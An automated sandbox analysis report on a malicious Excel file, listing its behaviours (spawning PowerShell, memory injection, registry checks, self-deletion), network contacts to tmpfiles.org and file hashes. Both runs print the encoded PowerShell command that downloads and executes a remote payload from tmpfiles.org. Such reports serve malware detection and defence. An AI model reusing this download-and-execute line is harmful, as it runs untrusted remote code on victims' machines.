Analysis Overview
SHA256
11b2665666514aa7b3d0750d1e0801c8ab6c14087f1143316234525196e13bb6
Threat Level: Known bad
The file 11b2665666514aa7b3d0750d1e0801c8ab6c14087f1143316234525196e13bb6 was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Blocklisted process makes network request
Suspicious Office macro
Office macro that triggers on suspicious action
Deletes itself
System Location Discovery: System Language Discovery
Office loads VBA resources, possible macro or embedded object present
Suspicious use of WriteProcessMemory
Enumerates system info in registry
Suspicious behavior: AddClipboardFormatListener
NTFS ADS
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: RenamesItself
Checks processor information in registry
Suspicious use of SetWindowsHookEx
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-08 21:52
Signatures
Office macro that triggers on suspicious action
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Suspicious Office macro
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-08 21:52
Reported
2024-08-08 21:53
Platform
win7-20240705-en
Max time kernel
24s
Max time network
17s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Deletes itself
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
NTFS ADS
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Local\Temp\40677F00\:Zone.Identifier:$DATA | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: RenamesItself
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2708 wrote to memory of 2740 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 2708 wrote to memory of 2740 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 2708 wrote to memory of 2740 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 2708 wrote to memory of 2740 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\11b2665666514aa7b3d0750d1e0801c8ab6c14087f1143316234525196e13bb6.xls
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AG0AcABmAGkAbABlAHMALgBvAHIAZwAvAGQAbAAvADEAMAA4ADEAMwA3ADkANAAvAGUAeABwAGwAbwBpAHQALgBqAHAAZwAnACkAOwBvAGEAdwBuAGQAdQBhAHcAZABuAG4AaABuADkAMgA4ADMAaAAxADkAMgAxAG4AYQB3AG8AZABhAG4AZgBpAGEAdwBiAGQAbgBpAHUAZgBiAG4AYQBpAGQAdwB1AGEAaQBmAHUAYQBiAGkAdQBmAGIAYQBpAHUAZABiAGgAagBhAHcAZABiAGEAZgBoAGoA""
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | tmpfiles.org | udp |
| US | 172.67.195.247:443 | tmpfiles.org | tcp |
Files
memory/2708-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/2708-1-0x00000000726FD000-0x0000000072708000-memory.dmp
memory/2708-2-0x0000000000390000-0x0000000000490000-memory.dmp
memory/2708-6-0x0000000000390000-0x0000000000490000-memory.dmp
memory/2708-7-0x0000000000390000-0x0000000000490000-memory.dmp
memory/2708-5-0x0000000000390000-0x0000000000490000-memory.dmp
memory/2708-4-0x0000000000390000-0x0000000000490000-memory.dmp
memory/2708-3-0x0000000000390000-0x0000000000490000-memory.dmp
memory/2708-15-0x00000000726FD000-0x0000000072708000-memory.dmp
memory/2708-16-0x0000000000390000-0x0000000000490000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-08 21:52
Reported
2024-08-08 21:54
Platform
win10v2004-20240802-en
Max time kernel
56s
Max time network
39s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Office macro that triggers on suspicious action
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Deletes itself
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
NTFS ADS
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Local\Temp\3AA75E00\:Zone.Identifier:$DATA | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4596 wrote to memory of 1836 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4596 wrote to memory of 1836 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\11b2665666514aa7b3d0750d1e0801c8ab6c14087f1143316234525196e13bb6.xls"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AG0AcABmAGkAbABlAHMALgBvAHIAZwAvAGQAbAAvADEAMAA4ADEAMwA3ADkANAAvAGUAeABwAGwAbwBpAHQALgBqAHAAZwAnACkAOwBvAGEAdwBuAGQAdQBhAHcAZABuAG4AaABuADkAMgA4ADMAaAAxADkAMgAxAG4AYQB3AG8AZABhAG4AZgBpAGEAdwBiAGQAbgBpAHUAZgBiAG4AYQBpAGQAdwB1AGEAaQBmAHUAYQBiAGkAdQBmAGIAYQBpAHUAZABiAGgAagBhAHcAZABiAGEAZgBoAGoA""
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 8.8.8.8:53 | 97.32.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tmpfiles.org | udp |
| US | 8.8.8.8:53 | 67.31.126.40.in-addr.arpa | udp |
| US | 172.67.195.247:443 | tmpfiles.org | tcp |
| US | 204.79.197.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 247.195.67.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.197.79.204.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 94.65.42.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 205.47.74.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 157.123.68.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 83.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
Files
memory/4596-2-0x00007FFC3AF70000-0x00007FFC3AF80000-memory.dmp
memory/4596-1-0x00007FFC3AF70000-0x00007FFC3AF80000-memory.dmp
memory/4596-0-0x00007FFC3AF70000-0x00007FFC3AF80000-memory.dmp
memory/4596-3-0x00007FFC7AF8D000-0x00007FFC7AF8E000-memory.dmp
memory/4596-4-0x00007FFC3AF70000-0x00007FFC3AF80000-memory.dmp
memory/4596-5-0x00007FFC3AF70000-0x00007FFC3AF80000-memory.dmp
memory/4596-8-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp
memory/4596-10-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp
memory/4596-9-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp
memory/4596-11-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp
memory/4596-12-0x00007FFC38900000-0x00007FFC38910000-memory.dmp
memory/4596-7-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp
memory/4596-13-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp
memory/4596-14-0x00007FFC38900000-0x00007FFC38910000-memory.dmp
memory/4596-6-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp
memory/4596-15-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp
memory/4596-18-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp
memory/4596-16-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp
memory/4596-17-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp
memory/4596-20-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp
memory/4596-21-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp
memory/4596-19-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp
memory/4596-49-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp
memory/4596-48-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g3ypa330.0yc.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1836-61-0x000002DDD7C60000-0x000002DDD7C82000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\11b2665666514aa7b3d0750d1e0801c8ab6c14087f1143316234525196e13bb6.xls
| MD5 | 54cd6ba9b11ddcece8da45294edb7570 |
| SHA1 | 395e7a60fa0637066ade01c6002e0a5af7dd2192 |
| SHA256 | 1aeabe603f02d1047fe517fef89e45a25b45e325d4ab48b4191887c5a92873de |
| SHA512 | e10c1b4a576b2021d5bb7a7b8af2ed4c17102352b5b08b17475a66326d2e6607201a41380459c041863710a6841d166767735a7e5a21e84744b32206c46d25aa |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
| MD5 | 1a7515ea5d59fb15be75ece44cdd4984 |
| SHA1 | 106920789841514aa38b6c3a8be83eaef1ad787c |
| SHA256 | 028113a4ec42195e72b22983ac24dc70666afd56808c2216692319649d39e548 |
| SHA512 | 8adca5963865008d59714fec33831087e0459bcd67361b193301a2c8a1faf4c47323be355757b5b19e2be82d2e26b5b7a57a1a3b8181de63615e8af097b0b967 |
memory/4596-86-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp
memory/4596-87-0x00007FFC7AEF0000-0x00007FFC7B0E5000-memory.dmp